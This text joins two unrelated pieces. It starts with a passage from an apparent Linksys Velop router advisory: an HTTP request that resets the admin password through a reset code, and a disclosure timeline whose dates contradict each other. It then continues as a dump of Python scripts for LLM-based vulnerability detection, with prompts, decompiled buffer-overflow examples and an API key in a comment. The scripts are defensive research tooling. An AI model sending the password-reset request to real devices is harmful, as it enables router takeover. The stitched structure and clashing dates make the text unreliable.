X-JNAP-Action: http://linksys.com/jnap/nodes/setup/SetAdminPassword

{"resetCode":"84667","adminPassword":"test1234"}

By sending this request to the router, we can successfully change the administration password to test1234.

The crucial part of this vulnerability is that we can request resources by JNAP protocol, but we can also craft an HTTP request. The server doesn’t restrict proper resource, which leads to a sensitive information leak.

A proper request should with X-JNAP-Authorization header like below:

POST /JNAP/ HTTP/1.1
Host: 10.158.1.1
Accept: application/json; charset=UTF-8
Expires: Fri, 10 Oct 2015 14:19:41 GMT
X-JNAP-Authorization: Basic YWRtaW46YWRtaW4=
Accept-Encoding: gzip, deflate
Accept-Language: zh-Hans-CN;q=1, en-CN;q=0.9
Cache-Control: no-cache
Content-Type: application/json; charset=UTF-8
Content-Length: 178
User-Agent: Linksys/2.5.2 (iPhone; iOS 11.2.6; Scale/3.00)
Connection: close
X-JNAP-Action: http://linksys.com/jnap/core/Transaction

[{"request":{"sinceRevision":0},"action":"http:\/\/linksys.com\/jnap\/devicelist\/GetDevices3"},{"request":{},"action":"http:\/\/linksys.com\/jnap\/router\/GetDHCPClientLeases"}]

We highly recommend that end users to disallow request to /sysinfo_json.cgi, or check whether there is a correct authorization header in HTTP request.

Timeline:

  • 2019-06-22 Vendor disclosure
  • 2019-02-26 Vendor acknowledged the problem and reproduced it
  • 2019-05-31 We asked vendor if there are any updates. No response
  • 2019-06-06 We asked vendor if there are any updates
  • 2019-06-06 Vendor replied “Apologies for the delay in response; the engineering team informs me that a firmware release for Velop will be released later this month. Would you like a preview of this firmware to confirm our fix?”
  • 2019-06-06 We replied No
  • 2019-07-26 Vendor replied “We are starting a limited rollout of the release starting tonight and if all goes well, the full release will be opened up in the first week of August. Thank you!”
  • 2019-08-21 We asked vendor if there are any updates
  • 2019-08-23 Vendor replied as “We have finally released a fix to address this issue. https://www.linksys.com/us/support-article?articleNum=207568. We have not applied for a CVE and do not have any plans to do so. Thank you!”
  • 2019-08-26 We asked if we could apply a CVE for this issue
  • 2019-08-27 Vendor replied:we have no objections if you’d like to file for a CVE.
================================================ FILE: task2_source_code/final_version/Splitting_function_C2.py ================================================ import os import re def extract_c_functions_with_stack(file_path): """ Extract all functions from a C/C++ file using a stack-based approach to ensure complete function bodies. :param file_path: Path to the C/C++ file :return: A list of all function code blocks """ with open(file_path, 'r', encoding='utf-8') as file: lines = file.readlines() functions = [] stack = [] current_function = [] inside_function = False signature_detected = False for line in lines: stripped_line = line.strip() # Detect potential function signature if not inside_function and re.match(r"^[\w\s\*\&]+[\w\*]+\s*\([^)]*\)\s*\{?$", stripped_line): signature_detected = True inside_function = True current_function.append(line) elif inside_function: current_function.append(line) # Track opening and closing braces using a stack for char in stripped_line: if char == "{": stack.append("{") elif char == "}": if stack: stack.pop() # If the stack is empty, the function is complete if not stack: functions.append("".join(current_function)) current_function = [] inside_function = False signature_detected = False elif signature_detected: # Handle multi-line function signature current_function.append(line) if "{" in stripped_line: inside_function = True for char in stripped_line: if char == "{": stack.append("{") elif char == "}": if stack: stack.pop() return functions def save_functions_to_files(functions, file_name, output_dir): """ Save extracted functions to individual txt files. :param functions: List of extracted functions :param file_name: Original file name (without path) :param output_dir: Path to the output directory """ if not os.path.exists(output_dir): os.makedirs(output_dir) for i, function in enumerate(functions): output_file = os.path.join(output_dir, f"{file_name}_function_{i + 1}.txt") with open(output_file, 'w', encoding='utf-8') as file: file.write(function) def process_c_files(input_dir): """ Process all C files in the specified directory. :param input_dir: Path to the input directory """ functions = [] for root, _, files in os.walk(input_dir): for file in files: if file.endswith('.c') or file.endswith('.cpp') or file.endswith('.h'): file_path = os.path.join(root, file) file_name = os.path.splitext(file)[0] output_dir = input_dir+f"\{file_name}_result" print(f"Processing file: {file_path}") functions += extract_c_functions_with_stack(file_path) return functions ================================================ FILE: task2_source_code/final_version/Splitting_function_CC.py ================================================ import os import re def extract_c_functions_with_stack(file_path): """ Extract all functions from a C/C++ file using a stack-based approach to ensure complete function bodies. :param file_path: Path to the C/C++ file :return: A list of all function code blocks """ with open(file_path, 'r', encoding='utf-8') as file: lines = file.readlines() functions = [] stack = [] current_function = [] inside_function = False signature_detected = False for line in lines: stripped_line = line.strip() # Detect potential function signature if not inside_function and re.match(r"^[\w\s\*\&]+[\w\*]+\s*\([^)]*\)\s*\{?$", stripped_line): signature_detected = True inside_function = True current_function.append(line) elif inside_function: current_function.append(line) # Track opening and closing braces using a stack for char in stripped_line: if char == "{": stack.append("{") elif char == "}": if stack: stack.pop() # If the stack is empty, the function is complete if not stack: functions.append("".join(current_function)) current_function = [] inside_function = False signature_detected = False elif signature_detected: # Handle multi-line function signature current_function.append(line) if "{" in stripped_line: inside_function = True for char in stripped_line: if char == "{": stack.append("{") elif char == "}": if stack: stack.pop() return functions def save_functions_to_files(functions, file_name, output_dir): """ Save extracted functions to individual txt files. :param functions: List of extracted functions :param file_name: Original file name (without path) :param output_dir: Path to the output directory """ if not os.path.exists(output_dir): os.makedirs(output_dir) for i, function in enumerate(functions): output_file = os.path.join(output_dir, f"{file_name}_function_{i + 1}.txt") with open(output_file, 'w', encoding='utf-8') as file: file.write(function) def process_c_files(input_dir): """ Process all C files in the specified directory. :param input_dir: Path to the input directory """ functions=[] for root, _, files in os.walk(input_dir): for file in files: if file.endswith('.c') or file.endswith('.cpp') or file.endswith('.h') or file.endswith('.cc'): file_path = os.path.join(root, file) file_name = os.path.splitext(file)[0] output_dir = input_dir+f"\{file_name}_result" print(f"Processing file: {file_path}") functions += extract_c_functions_with_stack(file_path) if functions: #save_functions_to_files(functions, file_name, output_dir) print(f"Processing complete. Functions saved in: {output_dir}") else: print(f"No functions found in file: {file_path}") return functions ================================================ FILE: task2_source_code/final_version/Splitting_function_go.py ================================================ import os import re def extract_functions_with_receivers(input_directory): out_funtions=[] # 获取指定目录下的所有 .go 文件 go_files = [f for f in os.listdir(input_directory) if f.endswith('.go')] for go_file in go_files: # 获取当前文件路径和文件名 file_path = os.path.join(input_directory, go_file) file_name, _ = os.path.splitext(go_file) output_directory = os.path.join(input_directory, f"{file_name}_result") # 创建结果存储文件夹 os.makedirs(output_directory, exist_ok=True) with open(file_path, 'r', encoding='utf-8') as file: lines = file.readlines() # 初始化变量 functions = [] current_function = [] stack = [] # 用于跟踪大括号的堆栈 inside_function = False # 改进后的正则表达式,支持接收器和多行定义 func_start_pattern = re.compile(r'^func\s+(\(\w+\s+\*?\w+\)\s+)?\w+\(.*\)\s*{?') for line in lines: if not inside_function: # 检测函数定义的起始 match = func_start_pattern.match(line) if match: inside_function = True current_function.append(line) # 检查是否有未闭合的 `{`,如果有则记录 if '{' in line and '}' not in line: stack.append('{') else: # 当前在函数体内,累积函数内容 current_function.append(line) # 检查大括号,更新堆栈状态 for char in line: if char == '{': stack.append('{') elif char == '}': if stack: stack.pop() # 如果堆栈为空,函数结束 if not stack: functions.append("".join(current_function)) current_function = [] inside_function = False out_funtions+=functions return out_funtions ================================================ FILE: task2_source_code/final_version/Splitting_function_java.py ================================================ import os def extract_java_functions_with_stack(file_path): """ Extract all functions from a Java file using a stack-based approach to ensure complete function bodies. :param file_path: Path to the Java file :return: A list of all function code blocks """ with open(file_path, 'r', encoding='utf-8') as file: lines = file.readlines() functions = [] stack = [] current_function = [] inside_function = False for line in lines: stripped_line = line.strip() # Check for potential function signature if not inside_function and ("{" in stripped_line or "(" in stripped_line) and ")" in stripped_line: # Basic heuristic for identifying function signatures if any(keyword in stripped_line for keyword in ["public", "private", "protected", "void", "int", "String"]): inside_function = True if inside_function: current_function.append(line) # Track opening and closing braces using a stack for char in stripped_line: if char == "{": stack.append("{") elif char == "}": if stack: stack.pop() # If the stack is empty, the function is complete if inside_function and not stack: functions.append("".join(current_function)) current_function = [] inside_function = False return functions def save_functions_to_files(functions, file_name, output_dir): """ Save extracted functions to individual txt files. :param functions: List of extracted functions :param file_name: Original file name (without path) :param output_dir: Path to the output directory """ if not os.path.exists(output_dir): os.makedirs(output_dir) for i, function in enumerate(functions): output_file = os.path.join(output_dir, f"{file_name}_function_{i + 1}.txt") with open(output_file, 'w', encoding='utf-8') as file: file.write(function) def process_java_files(input_dir): """ Process all Java files in the specified directory. :param input_dir: Path to the input directory """ functions=[] for root, _, files in os.walk(input_dir): for file in files: if file.endswith('.java'): file_path = os.path.join(root, file) file_name = os.path.splitext(file)[0] output_dir = input_dir+f"\{file_name}_result" print(f"Processing file: {file_path}") functions += extract_java_functions_with_stack(file_path) return functions ================================================ FILE: task2_source_code/final_version/Splitting_function_php.py ================================================ import os import re def extract_php_functions_with_context(file_path): """ 使用栈从PHP文件中提取函数定义,支持类上下文信息 :param file_path: PHP文件路径 :return: 函数列表,每个元素是一个函数的完整定义 """ functions = [] stack = [] current_function = [] inside_function = False class_context = [] # 正则匹配 function_start_pattern = re.compile(r'^function\s+\w+\s*\(.*\)\s*{') class_start_pattern = re.compile(r'^class\s+\w+\s*{') with open(file_path, 'r', encoding='utf-8') as f: lines = f.readlines() for line in lines: stripped_line = line.strip() # 检测类定义的起始 if class_start_pattern.search(stripped_line) and not inside_function: class_context.append(line) stack.append('{') continue # 检测函数定义的起始 if function_start_pattern.search(stripped_line): # 如果当前已在记录函数,则先保存并结束 if current_function: functions.append(''.join(class_context + current_function)) current_function = [] inside_function = True current_function.append(line) # 记录函数起始行 stack.append('{') # 函数起始,压栈 continue # 如果已进入函数定义,记录内容 if inside_function: current_function.append(line) # 检测大括号的开闭 for char in line: if char == '{': stack.append('{') elif char == '}': if stack: stack.pop() # 栈为空时,函数结束 if not stack: functions.append(''.join(class_context + current_function)) current_function = [] inside_function = False # 处理文件末尾的残余函数 if current_function: functions.append(''.join(class_context + current_function)) return functions def save_functions_to_files(functions, result_dir): """ 将函数列表保存为单独的txt文件 :param functions: 函数内容列表 :param result_dir: 保存目录路径 """ if not os.path.exists(result_dir): os.makedirs(result_dir) for idx, func in enumerate(functions): file_name = os.path.join(result_dir, f'function_{idx + 1}.txt') with open(file_name, 'w', encoding='utf-8') as f: f.write(func) def process_php_file(file_path): """ 处理单个PHP文件,提取函数并保存 :param file_path: PHP文件路径 """ result_dir = f"{os.path.splitext(file_path)[0]}_result" print(f"Processing {file_path}...") try: functions = extract_php_functions_with_context(file_path) save_functions_to_files(functions, result_dir) print(f"Extracted {len(functions)} functions from {file_path}.") except Exception as e: print(f"Error processing {file_path}: {e}") return functions def process_php_files_in_directory(directory): """ 扫描指定目录下的所有PHP文件并处理 :param directory: 目录路径 """ functions=[] for root, _, files in os.walk(directory): for file in files: if file.endswith('.php'): file_path = os.path.join(root, file) functions+=process_php_file(file_path) return functions ================================================ FILE: task2_source_code/final_version/Splitting_function_py.py ================================================ import os import ast def extract_functions_from_file(file_path): """ Extract all functions from a single Python file and return a dictionary. Keys are function names, and values are the full code of the functions. """ print(f"[DEBUG] Attempting to read file: {file_path}") with open(file_path, 'r', encoding='utf-8') as file: file_content = file.read() try: # Parse Python code using the AST module tree = ast.parse(file_content) print(f"[DEBUG] Successfully parsed file: {file_path}") except SyntaxError as e: print(f"[ERROR] Syntax error in file: {file_path} - {e}") return {} functions = {} for node in ast.walk(tree): if isinstance(node, ast.FunctionDef): # Find function definitions func_name = node.name func_code = ast.get_source_segment(file_content, node) functions[func_name] = func_code print(f"[DEBUG] Extracted function: {func_name}") print(f"[INFO] Total functions extracted from {file_path}: {len(functions)}") return functions def save_functions_to_files(functions, output_dir): """ Save extracted functions as individual txt files. """ print(f"[DEBUG] Preparing to save functions to directory: {output_dir}") if not os.path.exists(output_dir): os.makedirs(output_dir) print(f"[DEBUG] Created output directory: {output_dir}") for idx, (func_name, func_code) in enumerate(functions.items(), start=1): # Ensure unique filenames sanitized_name = func_name.replace('<', '').replace('>', '').replace(':', '_') output_file = os.path.join(output_dir, f"{idx}_{sanitized_name}.txt") try: with open(output_file, 'w', encoding='utf-8') as file: file.write(func_code) print(f"[INFO] Saved function: {func_name} to {output_file}") except Exception as e: print(f"[ERROR] Failed to save function: {func_name} - {e}") def process_python(input_dir): """ Traverse all Python files in the directory and extract functions. """ print(f"[DEBUG] Starting directory traversal: {input_dir}") if not os.path.isdir(input_dir): print(f"[ERROR] Invalid directory: {input_dir}") return functions = [] for root, _, files in os.walk(input_dir): for file_name in files: if file_name.endswith('.py'): file_path = os.path.join(root, file_name) print(f"[INFO] Processing file: {file_path}") # Extract functions functions += extract_functions_from_file(file_path) return functions ================================================ FILE: task2_source_code/final_version/Splitting_jsp.py ================================================ import os def split_jsp_files(directory, max_chars=14000): functions=[] """ Splits .jsp files in the specified directory into smaller files of up to `max_chars` characters. Args: directory (str): The path of the directory containing .jsp files. max_chars (int): Maximum number of characters in each split file. """ # Ensure the provided directory exists if not os.path.isdir(directory): print(f"Error: The directory '{directory}' does not exist.") return # Get all .jsp files in the directory jsp_files = [f for f in os.listdir(directory) if f.endswith('.jsp')] if not jsp_files: print(f"No .jsp files found in the directory: {directory}") return # Process each .jsp file for jsp_file in jsp_files: filepath = os.path.join(directory, jsp_file) with open(filepath, 'r', encoding='utf-8') as file: content = file.read() # Split content into chunks chunks = [content[i:i+max_chars] for i in range(0, len(content), max_chars)] # Create a result directory for the split files result_dir = os.path.join(directory, f"{jsp_file}_result") os.makedirs(result_dir, exist_ok=True) functions+=chunks return functions ================================================ FILE: task2_source_code/final_version/arbitrary.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) import re SystemPrompt = PromptTemplate( template="You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.", ) HumanPromptStep2 = PromptTemplate( template=""" User question:Please analyze the provided specific code of a series of functions to determine if any of these functions contain potential Arbitrary File Access vulnerabilities ,Your analysis must consider: User Input Flow: Analyze how user input flows into file operations like open(). Look for cases where input affects the file path. Sanitization: Check if user input is validated for malicious patterns like ../../, symbolic links, or special characters. File Access Permissions: Ensure file operations check proper permissions before allowing {code_context} answer user's question with the information in output format: {format_instructions} an example of output is:curly_brace"functions": [curly_brace "name": "daemonCheck","confidence": 10 end_curly_brace,curly_brace "name": "daemonControl","confidence": 30 end_curly_brace] end_curly_brace Let's analyze each function step by step based on the code I provide. We will consider each function independently and, based on the analysis criteria I give, assign a confidence score to each function.: 1.Determine whether there is File I/O Functions like open(), fopen(), read(), write(), fseek() etc. if exists, add 10 points to the confidence level 2.Consider Path Traversal: Add 20 points for any file I/O functions that directly handle user-controlled file paths. 3.Consider Unsafe Path Handling: Add 20 points for any cases where user input is concatenated into file paths. 4.Consider Lack of Permissions Check: Add 20 points for failure to check file access permissions. """, input_variables=["code_context"] ) response_schemas_step2 = [ ResponseSchema(name="functions", description="a list of function names with their respective confidence levels") ] length_limit=14000 def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_step2(prompt_code, key_env, base_env): global length_limit llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) if len(prompt_code)>length_limit: prompt_code = prompt_code[:length_limit] # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2) SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2) format_instructions = output_parser.get_format_instructions() #prompt = split_prompt(prompt, 6000) chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(code_context=prompt_code,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): if json_out["functions"]: break output = chain.run(code_context=prompt_code,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def check_arbitrary(prompt_code, key_env, base_env): global length_limit length_limit = 14000 json_out=llm_api_step2(prompt_code, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2(prompt_code, key_env, base_env) return json_out # check by yourself #filepath='a' #with open(file_path, encoding='utf-8') as file: # file_content = file.read() #json_out=check_arbitrary(file_content, "8bb73128d0b5732a1e0723f922245df8", 'https://poc.qianxin.com') ================================================ FILE: task2_source_code/final_version/bof_memory.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) from langchain.memory import ConversationSummaryMemory import re SystemPrompt = PromptTemplate( template="You are a cybersecurity engineer, you know both English and Chinese, and you are an expert in static code analysis and can fully understand dataflow and definitions of common used functions in decompiled pseudocode, C, C++, java, python, go, js, and other similar languages.", ) high_risky_functions="strcpy;strcat;sprintf;gets;scanf;sscanf;fscanf;vscanf;malloc;calloc;realloc;bcopy;fmt.Scanln;fmt.Fscanf;fmt.Scan;unsafe.Pointer" low_risky_functions="strncpy;strncat;snprintf;fgets;memcpy;memmove;memset;bytes.Buffer.WriteString" HumanPromptStep2 = PromptTemplate( template=""" User question:We will first provide you several examples starting with ###Examples### . Every example in it contains a buffer overflow vulnerability. You need to summary the reason why they are considered vulnerable. The Chinese explainations and function names in the examples are very important and do not lose information in it while summarizing. The history of our previous conversation will be saved in {history}. At last, If we give you some content starting with a symbol ###New Content###, we are giving you several new functions that may contain similar buffer overflow vulnerabilities. In that case, you should analyse each function independently and output a most vulnerable function. You should first repeat the previous history information word by word, and then use confidence(0-100) to measure how vulnerable each function is, only one function should have the highest confidence. If the new content mentioned a function who have exactly the same name with one example function,that example function should have the highest confidence, and confidence of all other functions should be 0. If all functions in ###New Content### are not vulnerable, their confidence should all be 0. The content given to use are in , the content is either a example(only need to summary) or a new content(need to output confidence of each function and previous history), it won't contain both types {code_context} output format: a legal json file such as {{"functions": [{{"name": "checkLoginUser","confidence": 0}},{{"name": "aaa","confidence": 10}}],"summary":"contains strcpy"}} and some additional information such as previous history. """, input_variables=["code_context"] ) examples=""" 示例1:在parse_object这个函数中,解析key的时候发生了溢出 _isoc99_sscanf(key, "%s %s", v9, v10); // stack-based buffer overflow 示例2:在`do_SOCKS5` 函数中,memcpy的长度限制参数tlen由源缓冲区cp决定,因此源缓冲区很大时也可不受限制地拷贝入目标缓冲区,导致溢出 ```c static CURLproxycode do_SOCKS5(struct Curl_cfilter *cf, struct socks_state *sx, struct Curl_easy *data) ...... if ( cp ) { tlen = tlen[4]; v64 = 1; opt = 0; while ( tlen ) { if ( optlen < tlen ) break; memcpy(&v65[opt], cp + v64, tlen); v15 = &tlen[v64]; if ( &tlen[v64] >= optlen ) break; v16 = &tlen[opt]; v64 = (v15 + 1); tlen = v15[cp];//tlen is from v15[cp] opt = (v16 + 1); v16[v65] = 46; } } } } ``` 示例3:sub_408B70有直接溢出风险,sub_40DAC8中没有。 在 `sub_408B70` 函数中 ```C if ( !a2 || a3 < *(_DWORD *)(a1[43] + 236) ) return -1; memset(a2, 0, a3); v5 = (_DWORD *)a1[43]; v6 = v5[3]; v7 = v5[2] - v6; memcpy(a2, (const void *)(*v5 + v6), v7); result = v7; ``` 使用 `a1[43][2] - a1[43][3]` 作为长度拷贝数据到缓冲区 a2 中,a2 在函数 `sub_40DAC8` 中分配 ```C v7 = (_DWORD *)a1[43]; ... v46 = (char *)j_malloc(v7[59] + 1); v47 = v46; if ( !v46 ) { v48 = getpid(); printf("[HTTPD (%d)]:: ", v48); printf( "::%.80s line::%d::%d::Cannot allocate memory for read_post_param (len=%d)\n", "do_ccp", 344, *(_DWORD *)(a1[43] + 236) + 1); LABEL_82: if ( v5 ) e_free(v5); return 1; } if ( (sub_408B70(a1, v46, *(_DWORD *)(a1[43] + 236) + 1) & 0x80000000) != 0 ) ``` 然而分配的大小是 `a1[43][59] + 1`,这里存在的不一致会导致缓冲区溢出。 事实上 `a1[43][59] + 1` 是 Content-Length 指定的大小,`a1[43][2] - a1[43][3]` 是实际读到的 body 大小。 示例4: 在`sub_2A28` 函数中 ```C size_t v2; // r0 char v5[2048]; // [sp+10h] [bp-101Ch] BYREF char v6[2048]; // [sp+810h] [bp-81Ch] BYREF size_t n; // [sp+1010h] [bp-1Ch] char *s; // [sp+1014h] [bp-18h] memset(v6, 0, sizeof(v6)); memset(v5, 0, sizeof(v5)); s = strchr(**(const char ***)(a2 + 264), 63); if ( s ) { v2 = strlen(s); buffer_copy_string_len(*(_DWORD *)(a2 + 708), s + 1, v2 - 1); n = (size_t)&s[-**(_DWORD **)(a2 + 264)]; strncpy(v5, **(const char ***)(a2 + 264), n); } ``` 先取出a2+264(也就是uri)中"?"后面的字符串,然后拼接到v5中,strncpy的长度限制参数n来自于源缓冲区长度 (size_t)&s[-**(_DWORD **)(a2 + 264)],限制不生效,v5的长度固定为2048 byte,会造成溢出 示例5: 在`sub_41D354` 函数中 ```C else if ( !strcmp(v25, "cookie") ) { v11 = 0; v35 = 0; a1[62] |= 8u; a1[54] = sub_4036C4(v24); memset(&unk_589AF8, 0, 500); v5 = strlen(a1[54]); memcpy((int)&unk_589AF8, a1[54], v5); if ( !strcmp(&unk_589AF8, "uid=") ) ``` memcpy 的长度参数v5直接来源于源缓冲区的长度strlen(a1[54]),因此源缓冲区很大时也可不受限制地拷贝入目标缓冲区,造成溢出 示例6:NpTranslateContainerLocalAlias函数中,堆分配函数的长度参数被转换为unsigned,可以整数溢出得到很大的值,这种转换成unsigned的值作为缓冲区分配或拷贝函数的长度参数时很容易溢出 v22 = (unsigned __int16)(v19 + v21); // 整数溢出 v27.MaximumLength = v22; Pool2 = (WCHAR *)ExAllocatePool2(256i64, v22, 1850110030i64);// 堆溢出 示例7: 在 `ej_get_web_page_name` 函数中 ```C char v8[48]; // [sp+18h] [-3Ch] BYREF ... ... else { memset(v8, 0, sizeof(v8)); cgi = (const char *)get_cgi("submit_button"); if ( !cgi ) cgi = "index"; sprintf(v8, "%s", cgi); if ( !strcasecmp(v8, "SSG") ) { v5 = wfprintf(a2, "hset.htm"); goto LABEL_6; } v3 = v8; ``` 这一段代码可以将任意长度的字符串写入 v8,导致缓冲区溢出。 示例8:Dot11Translate80211ToEthernetNdisPacket函数可能存在整数溢出导致的缓冲区溢出问题 示例9: 在`connection_state_machine` 函数中 ```C strcpy(needle, "asus_token"); memset(&needle[11], 0, 0x15u); element = array_get_element(a2[76], "Cookie"); if ( element ) { v20 = buffer_init(); buffer_copy_string_len(v20, **(_DWORD **)(element + 32), *(_DWORD *)(*(_DWORD *)(element + 32) + 4)); buffer_urldecode_path(v20); memset(v14, 0, sizeof(v14)); strncpy(v14, *(const char **)v20, *(_DWORD *)(v20 + 4)); buffer_free(v20); haystack = v14; while ( 1 ) { haystack = strstr(haystack, needle); if ( !haystack ) ``` 先获取cookie的值,`buffer_init()`会固定申请0xC的空间,然后直接使用stncpy拼接cookie的值,长度限制参数 *(_DWORD *)(v20 + 4)是变量而非常量,造成栈溢出 示例10: 在 `getSafariVersion` 函数中 ```C char dest[44]; // [esp+10h] [ebp-3Ch] BYREF v4 = 0; if ( strstr(a1, "Safari") && !strstr(a1, "Chrome") ) { v6 = strstr(a1, "Version/") + 8; v7 = strchr(v6, ' '); if ( v7 ) { for ( i = 0; i < 0x20; i += 4 ) *(_DWORD *)&dest[i] = 0; memcpy(dest, v6, v7 - v6); ``` 这一段函数会将 UA 中 "Version/" 后直到空格之间的内容都复制到栈缓冲区上,且长度限制v7 - v6为变量而非常量,容易失效。由于该缓冲区长度只有 44 字节,因此存在溢出。 """ response_schemas_step2 = [ ResponseSchema(name="functions", description="a list of function names with their respective confidence levels"), ResponseSchema(name="summary", description="the summary of your judging reason") ] memory=None length_limit=14000 def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_step2(prompt_code, key_env, base_env): global memory global length_limit if len(prompt_code)>length_limit: prompt_code = prompt_code[:length_limit] llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=30 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2) SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2) if memory==None: memory = ConversationSummaryMemory(llm=llm) format_instructions = output_parser.get_format_instructions() #prompt = split_prompt(prompt, 6000) chain=LLMChain(llm=llm, prompt=chat_template, memory=memory) try: output = chain.run(code_context=prompt_code) #print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): if json_out["functions"]: break output = chain.run(code_context=prompt_code) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def check_bof(prompt_code, key_env, base_env): global length_limit global memory memory= None length_limit = 14000 sample=examples json_out=llm_api_step2("###Examples###"+sample, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2("###Examples###"+sample, key_env, base_env) json_out=llm_api_step2("###New Content###"+prompt_code, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2("###New Content###"+prompt_code, key_env, base_env) return json_out ================================================ FILE: task2_source_code/final_version/bypass.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) import re SystemPrompt = PromptTemplate( template="You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.", ) HumanPromptStep2 = PromptTemplate( template=""" User question: Please analyze all functions in the code snippet I provided to determine whether they have potential authentication bypass vulnerabilities, and output the names of all functions and their total confidence (including functions with a total confidence of 0). {code_context} Answer the user's question using the information in . Output format: {format_instructions} an example of output is:curly_brace"functions": [curly_brace "name": "daemonCheck","confidence": 10 end_curly_brace,curly_brace "name": "daemonControl","confidence": 30 end_curly_brace] end_curly_brace Analysis criteria: 1. Weak or missing authentication checks (20 points): Add 20 points if a function performs privileged operations or grants access without validating user credentials or session tokens. This includes cases where authentication logic is incomplete or entirely missing. 2. Improper verification logic (20 points): Add 20 points for flawed logic in authentication processes, such as incorrect password/token validation, acceptance of partial/empty credentials, or overly permissive access control. 3. Session management issues (20 points): Add 20 points if session handling lacks proper checks, including missing token validation, use of predictable or insecure session identifiers, or failure to invalidate sessions when appropriate (e.g., on logout). 4. Backdoors or insecure fallback mechanisms (40 points): Add 40 points if the function contains mechanisms that bypass authentication, such as hardcoded credentials, debug modes, or any form of unrestricted access intended for testing or maintenance. [Attention!]: 1. Total confidence of each function is the sum of points from the above criteria. 2. Ensure that all functions in the code snippet are analyzed and included in the output. 3. Pay particular attention to indirect influences, such as unchecked authentication states being passed to other functions. 4. The output must be valid JSON. 5. Ensure only one function has the highest confidence score, and avoid giving identical scores to all functions.(In particular, do not output all 0s or all highest scores). Key Notes for AI: 1. Focus on identifying risks specifically related to authentication bypass, not general issues. 2. Use clear, concise language to explain the scoring and avoid unnecessary verbosity. 3. Provide detailed reasoning for any function scoring zero, ensuring the logic is thorough and traceable. """, input_variables=["code_context"] ) response_schemas_step2 = [ ResponseSchema(name="functions", description="a list of function names with their respective confidence levels") ] length_limit=14000 def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_step2(prompt_code, key_env, base_env): global length_limit if len(prompt_code)>length_limit: prompt_code = prompt_code[:length_limit] llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2) SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2) format_instructions = output_parser.get_format_instructions() #prompt = split_prompt(prompt, 6000) chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(code_context=prompt_code,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): if json_out["functions"]: break output = chain.run(code_context=prompt_code,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def check_bypass(prompt_code, key_env, 